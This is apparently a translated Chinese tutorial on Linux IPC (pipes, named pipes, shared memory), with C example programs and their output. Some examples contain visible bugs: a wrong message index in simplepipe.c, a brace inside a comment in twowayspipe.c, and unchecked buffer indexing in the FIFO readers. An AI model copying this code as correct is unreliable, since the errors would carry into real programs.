此係統呼叫將建立一個用於單向通訊的管道,即它建立兩個描述符,第一個連線到從管道讀取,另一個連線到寫入管道。
描述符 pipedes[0] 用於讀取,pipedes[1] 用於寫入。寫入 pipedes[1] 的任何內容都可以從 pipedes[0] 讀取。
此呼叫在成功時返回零,在失敗時返回 -1。要了解失敗的原因,請檢查 errno 變數或 perror() 函式。
#include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> int open(const char *pathname, int flags); int open(const char *pathname, int flags, mode_t mode);
即使檔案的基本操作是讀取和寫入,在執行操作之前開啟檔案並在完成所需操作後關閉檔案也是必要的。通常,每個程序預設開啟 3 個描述符,分別用於輸入(標準輸入 - stdin)、輸出(標準輸出 - stdout)和錯誤(標準錯誤 - stderr),檔案描述符分別為 0、1 和 2。
此係統呼叫將返回一個檔案描述符,用於進一步執行讀取/寫入/查詢(lseek)檔案操作。通常,檔案描述符從 3 開始,並隨著開啟的檔案數量增加 1。
傳遞給 open 系統呼叫的引數是路徑名(相對路徑或絕對路徑)、標誌(說明開啟檔案的目的,例如,以只讀方式開啟,O_RDONLY,以寫入方式開啟,O_WRONLY,以讀寫方式開啟,O_RDWR,追加到現有檔案 O_APPEND,建立檔案,如果不存在則使用 O_CREAT 等)和所需的模式,提供使用者或所有者/組/其他使用者的讀/寫/執行許可權。模式可以使用符號表示。
讀取 - 4,寫入 - 2,執行 - 1。
例如:八進位制值(以 0 開頭),0764 表示所有者具有讀、寫和執行許可權,組具有讀和寫許可權,其他使用者具有讀許可權。這也可以表示為 S_IRWXU | S_IRGRP | S_IWGRP | S_IROTH,這意味著 0700|0040|0020|0004 → 0764 的或運算。
此係統呼叫在成功時返回新的檔案描述符 ID,在錯誤時返回 -1。錯誤的原因可以使用 errno 變數或 perror() 函式識別。
#include<unistd.h> int close(int fd)
上述系統呼叫關閉已開啟的檔案描述符。這意味著該檔案不再使用,並且關聯的資源可以被任何其他程序重用。此係統呼叫在成功時返回零,在錯誤時返回 -1。錯誤的原因可以使用 errno 變數或 perror() 函式識別。
#include<unistd.h> ssize_t read(int fd, void *buf, size_t count)
上述系統呼叫是從指定檔案讀取,引數為檔案描述符 fd、分配了記憶體的正確緩衝區(靜態或動態)以及緩衝區的大小。
檔案描述符 ID 用於識別相應的檔案,該檔案描述符在呼叫 open() 或 pipe() 系統呼叫後返回。在從檔案讀取之前,需要開啟該檔案。在呼叫 pipe() 系統呼叫時,它會自動開啟。
此呼叫在成功時返回讀取的位元組數(或在遇到檔案結尾時返回零),在失敗時返回 -1。返回的位元組數可能小於請求的位元組數,如果資料不可用或檔案已關閉,則會出現這種情況。如果失敗,則會在適當的位置設定錯誤編號。
要了解失敗的原因,請檢查 errno 變數或 perror() 函式。
#include<unistd.h> ssize_t write(int fd, void *buf, size_t count)
上述系統呼叫是寫入指定檔案,引數為檔案描述符 fd、分配了記憶體的正確緩衝區(靜態或動態)以及緩衝區的大小。
檔案描述符 ID 用於識別相應的檔案,該檔案描述符在呼叫 open() 或 pipe() 系統呼叫後返回。
在寫入檔案之前,需要開啟該檔案。在呼叫 pipe() 系統呼叫時,它會自動開啟。
此呼叫在成功時返回寫入的位元組數(或在沒有寫入任何內容時返回零),在失敗時返回 -1。如果失敗,則會在適當的位置設定錯誤編號。
要了解失敗的原因,請檢查 errno 變數或 perror() 函式。
示例程式
以下是一些示例程式。
示例程式 1 - 使用管道寫入和讀取兩條訊息的程式。
演算法
步驟 1 - 建立管道。
步驟 2 - 向管道傳送訊息。
步驟 3 - 從管道檢索訊息並將其寫入標準輸出。
步驟 4 - 向管道傳送另一條訊息。
步驟 5 - 從管道檢索訊息並將其寫入標準輸出。
注意 - 也可以在傳送完所有訊息後檢索訊息。
原始碼:simplepipe.c
#include<stdio.h>
#include<unistd.h>
int main() {
int pipefds[2];
int returnstatus;
char writemessages[2][20]={"Hi", "Hello"};
char readmessage[20];
returnstatus = pipe(pipefds);
if (returnstatus == -1) {
printf("Unable to create pipe\n");
return 1;
}
printf("Writing to pipe - Message 1 is %s\n", writemessages[0]);
write(pipefds[1], writemessages[0], sizeof(writemessages[0]));
read(pipefds[0], readmessage, sizeof(readmessage));
printf("Reading from pipe – Message 1 is %s\n", readmessage);
printf("Writing to pipe - Message 2 is %s\n", writemessages[0]);
write(pipefds[1], writemessages[1], sizeof(writemessages[0]));
read(pipefds[0], readmessage, sizeof(readmessage));
printf("Reading from pipe – Message 2 is %s\n", readmessage);
return 0;
}
注意 - 理想情況下,需要檢查每個系統呼叫的返回狀態。為了簡化流程,並非所有呼叫的檢查都已完成。
執行步驟
編譯
gcc -o simplepipe simplepipe.c
執行/輸出
Writing to pipe - Message 1 is Hi Reading from pipe – Message 1 is Hi Writing to pipe - Message 2 is Hi Reading from pipe – Message 2 is Hell
示例程式 2 - 使用父程序和子程序透過管道寫入和讀取兩條訊息的程式。
演算法
步驟 1 - 建立管道。
步驟 2 - 建立子程序。
步驟 3 - 父程序寫入管道。
步驟 4 - 子程序從管道檢索訊息並將其寫入標準輸出。
步驟 5 - 再次重複步驟 3 和步驟 4。
原始碼:pipewithprocesses.c
#include<stdio.h>
#include<unistd.h>
int main() {
int pipefds[2];
int returnstatus;
int pid;
char writemessages[2][20]={"Hi", "Hello"};
char readmessage[20];
returnstatus = pipe(pipefds);
if (returnstatus == -1) {
printf("Unable to create pipe\n");
return 1;
}
pid = fork();
// Child process
if (pid == 0) {
read(pipefds[0], readmessage, sizeof(readmessage));
printf("Child Process - Reading from pipe – Message 1 is %s\n", readmessage);
read(pipefds[0], readmessage, sizeof(readmessage));
printf("Child Process - Reading from pipe – Message 2 is %s\n", readmessage);
} else { //Parent process
printf("Parent Process - Writing to pipe - Message 1 is %s\n", writemessages[0]);
write(pipefds[1], writemessages[0], sizeof(writemessages[0]));
printf("Parent Process - Writing to pipe - Message 2 is %s\n", writemessages[1]);
write(pipefds[1], writemessages[1], sizeof(writemessages[1]));
}
return 0;
}
執行步驟
編譯
gcc pipewithprocesses.c –o pipewithprocesses
執行
Parent Process - Writing to pipe - Message 1 is Hi Parent Process - Writing to pipe - Message 2 is Hello Child Process - Reading from pipe – Message 1 is Hi Child Process - Reading from pipe – Message 2 is Hello
使用管道進行雙向通訊
管道通訊被視為僅單向通訊,即父程序寫入子程序讀取,反之亦然,但兩者不能同時進行。但是,如果父程序和子程序都需要同時寫入和讀取管道,則可以使用雙向通訊管道來解決。需要兩個管道才能建立雙向通訊。
以下是實現雙向通訊的步驟:
步驟 1 - 建立兩個管道。第一個用於父程序寫入子程序讀取,例如 pipe1。第二個用於子程序寫入父程序讀取,例如 pipe2。
步驟 2 - 建立子程序。
步驟 3 - 關閉不需要的端點,因為每個通訊只需要一個端點。
步驟 4 - 在父程序中關閉不需要的端點,即 pipe1 的讀取端和 pipe2 的寫入端。
步驟 5 - 在子程序中關閉不需要的端點,即 pipe1 的寫入端和 pipe2 的讀取端。
步驟 6 - 根據需要執行通訊。
示例程式
示例程式 1 - 使用管道實現雙向通訊。
演算法
步驟 1 - 建立 pipe1 用於父程序寫入和子程序讀取。
步驟 2 - 建立 pipe2 用於子程序寫入和父程序讀取。
步驟 3 - 關閉父程序和子程序側管道不需要的端點。
步驟 4 - 父程序寫入訊息,子程序讀取並在螢幕上顯示。
步驟 5 - 子程序寫入訊息,父程序讀取並在螢幕上顯示。
原始碼:twowayspipe.c
#include<stdio.h>
#include<unistd.h>
int main() {
int pipefds1[2], pipefds2[2];
int returnstatus1, returnstatus2;
int pid;
char pipe1writemessage[20] = "Hi";
char pipe2writemessage[20] = "Hello";
char readmessage[20];
returnstatus1 = pipe(pipefds1);
if (returnstatus1 == -1) {
printf("Unable to create pipe 1 \n");
return 1;
}
returnstatus2 = pipe(pipefds2);
if (returnstatus2 == -1) {
printf("Unable to create pipe 2 \n");
return 1;
}
pid = fork();
if (pid != 0) // Parent process {
close(pipefds1[0]); // Close the unwanted pipe1 read side
close(pipefds2[1]); // Close the unwanted pipe2 write side
printf("In Parent: Writing to pipe 1 – Message is %s\n", pipe1writemessage);
write(pipefds1[1], pipe1writemessage, sizeof(pipe1writemessage));
read(pipefds2[0], readmessage, sizeof(readmessage));
printf("In Parent: Reading from pipe 2 – Message is %s\n", readmessage);
} else { //child process
close(pipefds1[1]); // Close the unwanted pipe1 write side
close(pipefds2[0]); // Close the unwanted pipe2 read side
read(pipefds1[0], readmessage, sizeof(readmessage));
printf("In Child: Reading from pipe 1 – Message is %s\n", readmessage);
printf("In Child: Writing to pipe 2 – Message is %s\n", pipe2writemessage);
write(pipefds2[1], pipe2writemessage, sizeof(pipe2writemessage));
}
return 0;
}
執行步驟
編譯
gcc twowayspipe.c –o twowayspipe
執行
In Parent: Writing to pipe 1 – Message is Hi In Child: Reading from pipe 1 – Message is Hi In Child: Writing to pipe 2 – Message is Hello In Parent: Reading from pipe 2 – Message is Hello
程序間通訊 - 命名管道
管道旨在用於相關程序之間的通訊。我們能否將管道用於不相關的程序通訊,例如,我們想從一個終端執行客戶端程式,從另一個終端執行伺服器程式?答案是否定的。那麼如何實現不相關程序的通訊呢?簡單的答案是命名管道。即使這適用於相關程序,但將命名管道用於相關程序通訊也沒有意義。
我們使用一個管道進行單向通訊,使用兩個管道進行雙向通訊。命名管道是否也適用相同的條件?答案是否定的,我們可以使用單個命名管道進行雙向通訊(伺服器和客戶端之間的通訊,以及客戶端和伺服器同時進行的通訊),因為命名管道支援雙向通訊。
命名管道的另一個名稱是FIFO(先進先出)。讓我們看看建立命名管道的系統呼叫(mknod()),它是一種特殊的檔案。
#include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <unistd.h> int mknod(const char *pathname, mode_t mode, dev_t dev);
此係統呼叫將建立特殊檔案或檔案系統節點,例如普通檔案、裝置檔案或FIFO。系統呼叫的引數為路徑名、模式和dev。路徑名以及模式和裝置資訊的屬性。路徑名是相對的,如果未指定目錄,則將在當前目錄中建立。指定的模式是檔案的模式,它指定檔案型別,例如檔案型別和檔案模式,如下表所示。dev欄位用於指定裝置資訊,例如主裝置號和次裝置號。
| 檔案型別 | 描述 | 檔案型別 | 描述 |
|---|---|---|---|
| S_IFBLK | 塊特殊檔案 | S_IFREG | 普通檔案 |
| S_IFCHR | 字元特殊檔案 | S_IFDIR | 目錄 |
| S_IFIFO | FIFO特殊檔案 | S_IFLNK | 符號連結 |
| 檔案模式 | 描述 | 檔案模式 | 描述 |
|---|---|---|---|
| S_IRWXU | 所有者可讀、可寫、可執行/搜尋 | S_IWGRP | 組可寫許可權 |
| S_IRUSR | 所有者可讀許可權 | S_IXGRP | 組可執行/搜尋許可權 |
| S_IWUSR | 所有者可寫許可權 | S_IRWXO | 其他使用者可讀、可寫、可執行/搜尋 |
| S_IXUSR | 所有者可執行/搜尋許可權 | S_IROTH | 其他使用者可讀許可權 |
| S_IRWXG | 組可讀、可寫、可執行/搜尋 | S_IWOTH | 其他使用者可寫許可權 |
| S_IRGRP | 組可讀許可權 | S_IXOTH | 其他使用者可執行/搜尋許可權 |
檔案模式也可以用八進位制表示法表示,例如0XYZ,其中X代表所有者,Y代表組,Z代表其他使用者。X、Y或Z的值範圍為0到7。讀、寫和執行的值分別為4、2、1。如果需要讀、寫和執行的組合,則相應地新增這些值。
例如,如果我們提到0640,則表示所有者可讀可寫(4 + 2 = 6),組可讀(4),其他使用者無許可權(0)。
此呼叫在成功時返回零,在失敗時返回 -1。要了解失敗的原因,請檢查 errno 變數或 perror() 函式。
#include <sys/types.h> #include <sys/stat.h> int mkfifo(const char *pathname, mode_t mode)
此庫函式建立一個FIFO特殊檔案,用於命名管道。此函式的引數為檔名和模式。檔名可以是絕對路徑或相對路徑。如果未給出完整路徑名(或絕對路徑),則將在執行程序的當前資料夾中建立檔案。檔案模式資訊如mknod()系統呼叫中所述。
此呼叫在成功時返回零,在失敗時返回 -1。要了解失敗的原因,請檢查 errno 變數或 perror() 函式。
讓我們考慮一個在某個終端上執行伺服器並在另一個終端上執行客戶端的程式。該程式將僅執行單向通訊。客戶端接受使用者輸入並將訊息傳送到伺服器,伺服器在輸出上列印訊息。該過程將持續進行,直到使用者輸入字串“end”。
讓我們透過一個示例來了解這一點:
步驟1 - 建立兩個程序,一個是fifoserver,另一個是fifoclient。
步驟2 - 伺服器程序執行以下操作:
建立一個名為“MYFIFO”的命名管道(使用系統呼叫mknod()),如果尚未建立。
以只讀方式開啟命名管道。
這裡,建立的FIFO對所有者具有讀寫許可權。組可讀,其他使用者無許可權。
無限期地等待來自客戶端的訊息。
如果從客戶端接收到的訊息不是“end”,則列印訊息。如果訊息是“end”,則關閉fifo並結束程序。
步驟3 - 客戶端程序執行以下操作:
以只寫方式開啟命名管道。
接受來自使用者的字串。
檢查使用者是否輸入“end”或除“end”之外的其他內容。無論哪種方式,它都會向伺服器傳送訊息。但是,如果字串是“end”,則這將關閉FIFO並結束程序。
無限期地重複,直到使用者輸入字串“end”。
現在讓我們看一下FIFO伺服器檔案。
/* Filename: fifoserver.c */
#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#define FIFO_FILE "MYFIFO"
int main() {
int fd;
char readbuf[80];
char end[10];
int to_end;
int read_bytes;
/* Create the FIFO if it does not exist */
mknod(FIFO_FILE, S_IFIFO|0640, 0);
strcpy(end, "end");
while(1) {
fd = open(FIFO_FILE, O_RDONLY);
read_bytes = read(fd, readbuf, sizeof(readbuf));
readbuf[read_bytes] = '\0';
printf("Received string: \"%s\" and length is %d\n", readbuf, (int)strlen(readbuf));
to_end = strcmp(readbuf, end);
if (to_end == 0) {
close(fd);
break;
}
}
return 0;
}
編譯和執行步驟
Received string: "this is string 1" and length is 16 Received string: "fifo test" and length is 9 Received string: "fifo client and server" and length is 22 Received string: "end" and length is 3
現在,讓我們看一下FIFO客戶端示例程式碼。
/* Filename: fifoclient.c */
#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#define FIFO_FILE "MYFIFO"
int main() {
int fd;
int end_process;
int stringlen;
char readbuf[80];
char end_str[5];
printf("FIFO_CLIENT: Send messages, infinitely, to end enter \"end\"\n");
fd = open(FIFO_FILE, O_CREAT|O_WRONLY);
strcpy(end_str, "end");
while (1) {
printf("Enter string: ");
fgets(readbuf, sizeof(readbuf), stdin);
stringlen = strlen(readbuf);
readbuf[stringlen - 1] = '\0';
end_process = strcmp(readbuf, end_str);
//printf("end_process is %d\n", end_process);
if (end_process != 0) {
write(fd, readbuf, strlen(readbuf));
printf("Sent string: \"%s\" and string length is %d\n", readbuf, (int)strlen(readbuf));
} else {
write(fd, readbuf, strlen(readbuf));
printf("Sent string: \"%s\" and string length is %d\n", readbuf, (int)strlen(readbuf));
close(fd);
break;
}
}
return 0;
}
讓我們看一下到達的輸出。
編譯和執行步驟
FIFO_CLIENT: Send messages, infinitely, to end enter "end" Enter string: this is string 1 Sent string: "this is string 1" and string length is 16 Enter string: fifo test Sent string: "fifo test" and string length is 9 Enter string: fifo client and server Sent string: "fifo client and server" and string length is 22 Enter string: end Sent string: "end" and string length is 3
使用命名管道的雙向通訊
管道之間的通訊旨在是單向的。通常,管道僅限於單向通訊,並且需要至少兩個管道才能進行雙向通訊。管道僅用於相關程序。管道不能用於不相關程序的通訊,例如,如果我們想從一個終端執行一個程序,從另一個終端執行另一個程序,則使用管道是不可能的。我們是否有任何簡單的方法來簡單地在這兩個程序之間(例如不相關程序)進行通訊?答案是肯定的。命名管道旨在用於兩個或多個不相關程序之間的通訊,並且還可以進行雙向通訊。
我們已經看到了命名管道之間的單向通訊,即從客戶端到伺服器的訊息。現在,讓我們看一下雙向通訊,即客戶端向伺服器傳送訊息,伺服器接收訊息並使用相同的命名管道向客戶端傳送另一條訊息。
以下是一個示例:
步驟1 - 建立兩個程序,一個是fifoserver_twoway,另一個是fifoclient_twoway。
步驟2 - 伺服器程序執行以下操作:
建立一個名為“fifo_twoway”的命名管道(使用庫函式mkfifo()),位於/tmp目錄下,如果尚未建立。
以讀寫方式開啟命名管道。
這裡,建立的FIFO對所有者具有讀寫許可權。組可讀,其他使用者無許可權。
無限期地等待來自客戶端的訊息。
如果從客戶端接收到的訊息不是“end”,則列印訊息並反轉字串。反轉後的字串將傳送回客戶端。如果訊息是“end”,則關閉fifo並結束程序。
步驟3 - 客戶端程序執行以下操作:
以讀寫方式開啟命名管道。
接受來自使用者的字串。
檢查使用者是否輸入“end”或除“end”之外的其他內容。無論哪種方式,它都會向伺服器傳送訊息。但是,如果字串是“end”,則這將關閉FIFO並結束程序。
如果傳送的訊息不是“end”,則它將等待來自客戶端的訊息(反轉後的字串)並列印反轉後的字串。
無限期地重複,直到使用者輸入字串“end”。
現在,讓我們看一下FIFO伺服器示例程式碼。
/* Filename: fifoserver_twoway.c */
#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#define FIFO_FILE "/tmp/fifo_twoway"
void reverse_string(char *);
int main() {
int fd;
char readbuf[80];
char end[10];
int to_end;
int read_bytes;
/* Create the FIFO if it does not exist */
mkfifo(FIFO_FILE, S_IFIFO|0640);
strcpy(end, "end");
fd = open(FIFO_FILE, O_RDWR);
while(1) {
read_bytes = read(fd, readbuf, sizeof(readbuf));
readbuf[read_bytes] = '\0';
printf("FIFOSERVER: Received string: \"%s\" and length is %d\n", readbuf, (int)strlen(readbuf));
to_end = strcmp(readbuf, end);
if (to_end == 0) {
close(fd);
break;
}
reverse_string(readbuf);
printf("FIFOSERVER: Sending Reversed String: \"%s\" and length is %d\n", readbuf, (int) strlen(readbuf));
write(fd, readbuf, strlen(readbuf));
/*
sleep - This is to make sure other process reads this, otherwise this
process would retrieve the message
*/
sleep(2);
}
return 0;
}
void reverse_string(char *str) {
int last, limit, first;
char temp;
last = strlen(str) - 1;
limit = last/2;
first = 0;
while (first < last) {
temp = str[first];
str[first] = str[last];
str[last] = temp;
first++;
last--;
}
return;
}
編譯和執行步驟
FIFOSERVER: Received string: "LINUX IPCs" and length is 10 FIFOSERVER: Sending Reversed String: "sCPI XUNIL" and length is 10 FIFOSERVER: Received string: "Inter Process Communication" and length is 27 FIFOSERVER: Sending Reversed String: "noitacinummoC ssecorP retnI" and length is 27 FIFOSERVER: Received string: "end" and length is 3
現在,讓我們看一下FIFO客戶端示例程式碼。
/* Filename: fifoclient_twoway.c */
#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#define FIFO_FILE "/tmp/fifo_twoway"
int main() {
int fd;
int end_process;
int stringlen;
int read_bytes;
char readbuf[80];
char end_str[5];
printf("FIFO_CLIENT: Send messages, infinitely, to end enter \"end\"\n");
fd = open(FIFO_FILE, O_CREAT|O_RDWR);
strcpy(end_str, "end");
while (1) {
printf("Enter string: ");
fgets(readbuf, sizeof(readbuf), stdin);
stringlen = strlen(readbuf);
readbuf[stringlen - 1] = '\0';
end_process = strcmp(readbuf, end_str);
//printf("end_process is %d\n", end_process);
if (end_process != 0) {
write(fd, readbuf, strlen(readbuf));
printf("FIFOCLIENT: Sent string: \"%s\" and string length is %d\n", readbuf, (int)strlen(readbuf));
read_bytes = read(fd, readbuf, sizeof(readbuf));
readbuf[read_bytes] = '\0';
printf("FIFOCLIENT: Received string: \"%s\" and length is %d\n", readbuf, (int)strlen(readbuf));
} else {
write(fd, readbuf, strlen(readbuf));
printf("FIFOCLIENT: Sent string: \"%s\" and string length is %d\n", readbuf, (int)strlen(readbuf));
close(fd);
break;
}
}
return 0;
}
編譯和執行步驟
FIFO_CLIENT: Send messages, infinitely, to end enter "end" Enter string: LINUX IPCs FIFOCLIENT: Sent string: "LINUX IPCs" and string length is 10 FIFOCLIENT: Received string: "sCPI XUNIL" and length is 10 Enter string: Inter Process Communication FIFOCLIENT: Sent string: "Inter Process Communication" and string length is 27 FIFOCLIENT: Received string: "noitacinummoC ssecorP retnI" and length is 27 Enter string: end FIFOCLIENT: Sent string: "end" and string length is 3
共享記憶體
共享記憶體是兩個或多個程序之間共享的記憶體。但是,為什麼我們需要共享記憶體或其他一些通訊方式呢?
重申一下,每個程序都有自己的地址空間,如果任何程序想要與其自身地址空間中的某些資訊與其他程序通訊,則只有使用IPC(程序間通訊)技術才能實現。正如我們已經意識到的,通訊可以發生在相關或不相關程序之間。
通常,相關程序通訊使用管道或命名管道執行。不相關程序(例如一個程序在一個終端中執行,另一個程序在另一個終端中執行)通訊可以使用命名管道或透過流行的IPC技術共享記憶體和訊息佇列執行。
我們已經看到了管道和命名管道的IPC技術,現在是時候瞭解剩餘的IPC技術了,即共享記憶體、訊息佇列、訊號量、訊號和記憶體對映。
在本章中,我們將瞭解有關共享記憶體的所有內容。
我們知道,為了在兩個或多個程序之間進行通訊,我們使用共享記憶體,但在使用共享記憶體之前,需要對系統呼叫執行哪些操作,讓我們看看:
建立共享記憶體段或使用已建立的共享記憶體段(shmget())
將程序附加到已建立的共享記憶體段(shmat())
從已附加的共享記憶體段分離程序(shmdt())
控制共享記憶體段上的操作(shmctl())
讓我們看一下與共享記憶體相關的幾個系統呼叫的詳細資訊。
#include <sys/ipc.h> #include <sys/shm.h> int shmget(key_t key, size_t size, int shmflg)
上述系統呼叫建立或分配一個System V共享記憶體段。需要傳遞的引數如下:
第一個引數key識別共享記憶體段。key可以是任意值,也可以是從庫函式ftok()派生的值。key也可以是IPC_PRIVATE,這意味著,執行程序作為伺服器和客戶端(父程序和子程序關係),即相關程序通訊。如果客戶端想要使用此key的共享記憶體,則它必須是伺服器的子程序。此外,子程序需要在父程序獲得共享記憶體後建立。
第二個引數size是共享記憶體段的大小,四捨五入到PAGE_SIZE的倍數。
第三個引數shmflg指定所需的共享記憶體標誌,例如IPC_CREAT(建立新段)或IPC_EXCL(與IPC_CREAT一起使用以建立新段,如果段已存在,則呼叫失敗)。還需要傳遞許可權。
注意 - 請參閱前面的部分以瞭解有關許可權的詳細資訊。
此呼叫將在成功時返回有效的共享記憶體識別符號(用於後續的共享記憶體呼叫),在失敗時返回-1。要了解失敗的原因,請檢查errno變數或perror()函式。
#include <sys/types.h> #include <sys/shm.h> void * shmat(int shmid, const void *shmaddr, int shmflg)
上述系統呼叫對System V共享記憶體段執行共享記憶體操作,即將共享記憶體段附加到呼叫程序的地址空間。需要傳遞的引數如下:
第一個引數shmid是共享記憶體段的識別符號。此id是共享記憶體識別符號,它是shmget()系統呼叫的返回值。
第二個引數shmaddr用於指定附加地址。如果shmaddr為NULL,則系統預設選擇合適的地址來附加段。如果shmaddr不為NULL並且在shmflg中指定了SHM_RND,則附加等於SHMLBA(下邊界地址)的最近倍數的地址。否則,shmaddr必須是共享記憶體附加發生/開始的對齊頁面地址。
第三個引數shmflg指定所需的共享記憶體標誌,例如SHM_RND(將地址舍入到SHMLBA)或SHM_EXEC(允許執行段的內容)或SHM_RDONLY(以只讀方式附加段,預設情況下為讀寫)或SHM_REMAP(替換shmaddr指定範圍內現有的對映,並繼續到段的末尾)。
此呼叫將在成功時返回附加的共享記憶體段的地址,在失敗時返回-1。要了解失敗的原因,請檢查errno變數或perror()函式。
#include <sys/types.h> #include <sys/shm.h> int shmdt(const void *shmaddr)
上述系統呼叫對System V共享記憶體段執行共享記憶體操作,即從呼叫程序的地址空間分離共享記憶體段。需要傳遞的引數為:
引數shmaddr是要分離的共享記憶體段的地址。要分離的段必須是shmat()系統呼叫返回的地址。
此呼叫將在成功時返回0,在失敗時返回-1。要了解失敗的原因,請檢查errno變數或perror()函式。
#include <sys/ipc.h> #include <sys/shm.h> int shmctl(int shmid, int cmd, struct shmid_ds *buf)
上述系統呼叫對System V共享記憶體段執行控制操作。需要傳遞以下引數:
第一個引數shmid是共享記憶體段的識別符號。此id是共享記憶體識別符號,它是shmget()系統呼叫的返回值。
第二個引數cmd是要在共享記憶體段上執行所需控制操作的命令。
cmd的有效值為:
IPC_STAT − 將共享記憶體段結構體 shmid_ds 中每個成員的當前值資訊複製到 buf 指向的結構體中。此命令需要對共享記憶體段具有讀取許可權。
IPC_SET − 設定結構體 buf 指向的擁有者使用者 ID、組 ID、許可權等。
IPC_RMID − 標記共享記憶體段以供銷燬。只有在最後一個程序分離後,該段才會被銷燬。
IPC_INFO − 將共享記憶體限制和引數資訊返回到 buf 指向的結構體中。
SHM_INFO − 返回一個 shm_info 結構體,其中包含共享記憶體消耗的系統資源資訊。
第三個引數 buf 是指向名為 struct shmid_ds 的共享記憶體結構體的指標。此結構體中的值將根據 cmd 用於設定或獲取。
此呼叫根據傳遞的命令返回相應的值。IPC_INFO 和 SHM_INFO 或 SHM_STAT 成功時返回共享記憶體段的索引或識別符號,其他操作返回 0,失敗時返回 -1。要了解失敗的原因,請檢查 errno 變數或 perror() 函式。
讓我們考慮以下示例程式。
建立兩個程序,一個用於寫入共享記憶體 (shm_write.c),另一個用於從共享記憶體讀取 (shm_read.c)。
程式由寫入程序 (shm_write.c) 執行共享記憶體寫入操作,由讀取程序 (shm_read.c) 執行共享記憶體讀取操作。
在共享記憶體中,寫入程序建立一個大小為 1K(以及標誌)的共享記憶體並附加到共享記憶體。
寫入程序將字母 'A' 到 'E' 各 1023 位元組寫入共享記憶體 5 次。最後一個位元組表示緩衝區的結束。
讀取程序將從共享記憶體讀取資料並寫入標準輸出。
讀取和寫入程序的操作同時執行。
寫入完成後,寫入程序更新以指示寫入共享記憶體完成(使用 struct shmseg 中的 complete 變數)。
讀取程序執行共享記憶體讀取操作,並在輸出上顯示結果,直到它收到寫入程序完成的指示(struct shmseg 中的 complete 變數)。
為了簡化並避免無限迴圈和程式複雜化,讀取和寫入程序操作執行幾次。
以下是寫入程序的程式碼(寫入共享記憶體 - 檔案:shm_write.c)
/* Filename: shm_write.c */
#include<stdio.h>
#include<sys/ipc.h>
#include<sys/shm.h>
#include<sys/types.h>
#include<string.h>
#include<errno.h>
#include<stdlib.h>
#include<unistd.h>
#include<string.h>
#define BUF_SIZE 1024
#define SHM_KEY 0x1234
struct shmseg {
int cnt;
int complete;
char buf[BUF_SIZE];
};
int fill_buffer(char * bufptr, int size);
int main(int argc, char *argv[]) {
int shmid, numtimes;
struct shmseg *shmp;
char *bufptr;
int spaceavailable;
shmid = shmget(SHM_KEY, sizeof(struct shmseg), 0644|IPC_CREAT);
if (shmid == -1) {
perror("Shared memory");
return 1;
}
// Attach to the segment to get a pointer to it.
shmp = shmat(shmid, NULL, 0);
if (shmp == (void *) -1) {
perror("Shared memory attach");
return 1;
}
/* Transfer blocks of data from buffer to shared memory */
bufptr = shmp->buf;
spaceavailable = BUF_SIZE;
for (numtimes = 0; numtimes < 5; numtimes++) {
shmp->cnt = fill_buffer(bufptr, spaceavailable);
shmp->complete = 0;
printf("Writing Process: Shared Memory Write: Wrote %d bytes\n", shmp->cnt);
bufptr = shmp->buf;
spaceavailable = BUF_SIZE;
sleep(3);
}
printf("Writing Process: Wrote %d times\n", numtimes);
shmp->complete = 1;
if (shmdt(shmp) == -1) {
perror("shmdt");
return 1;
}
if (shmctl(shmid, IPC_RMID, 0) == -1) {
perror("shmctl");
return 1;
}
printf("Writing Process: Complete\n");
return 0;
}
int fill_buffer(char * bufptr, int size) {
static char ch = 'A';
int filled_count;
//printf("size is %d\n", size);
memset(bufptr, ch, size - 1);
bufptr[size-1] = '\0';
if (ch > 122)
ch = 65;
if ( (ch >= 65) && (ch <= 122) ) {
if ( (ch >= 91) && (ch <= 96) ) {
ch = 65;
}
}
filled_count = strlen(bufptr);
//printf("buffer count is: %d\n", filled_count);
//printf("buffer filled is:%s\n", bufptr);
ch++;
return filled_count;
}
編譯和執行步驟
Writing Process: Shared Memory Write: Wrote 1023 bytes Writing Process: Shared Memory Write: Wrote 1023 bytes Writing Process: Shared Memory Write: Wrote 1023 bytes Writing Process: Shared Memory Write: Wrote 1023 bytes Writing Process: Shared Memory Write: Wrote 1023 bytes Writing Process: Wrote 5 times Writing Process: Complete
以下是讀取程序的程式碼(從共享記憶體讀取並寫入標準輸出 - 檔案:shm_read.c)
/* Filename: shm_read.c */
#include<stdio.h>
#include<sys/ipc.h>
#include<sys/shm.h>
#include<sys/types.h>
#include<string.h>
#include<errno.h>
#include<stdlib.h>
#define BUF_SIZE 1024
#define SHM_KEY 0x1234
struct shmseg {
int cnt;
int complete;
char buf[BUF_SIZE];
};
int main(int argc, char *argv[]) {
int shmid;
struct shmseg *shmp;
shmid = shmget(SHM_KEY, sizeof(struct shmseg), 0644|IPC_CREAT);
if (shmid == -1) {
perror("Shared memory");
return 1;
}
// Attach to the segment to get a pointer to it.
shmp = shmat(shmid, NULL, 0);
if (shmp == (void *) -1) {
perror("Shared memory attach");
return 1;
}
/* Transfer blocks of data from shared memory to stdout*/
while (shmp->complete != 1) {
printf("segment contains : \n\"%s\"\n", shmp->buf);
if (shmp->cnt == -1) {
perror("read");
return 1;
}
printf("Reading Process: Shared Memory: Read %d bytes\n", shmp->cnt);
sleep(3);
}
printf("Reading Process: Reading Done, Detaching Shared Memory\n");
if (shmdt(shmp) == -1) {
perror("shmdt");
return 1;
}
printf("Reading Process: Complete\n");
return 0;
}
編譯和執行步驟
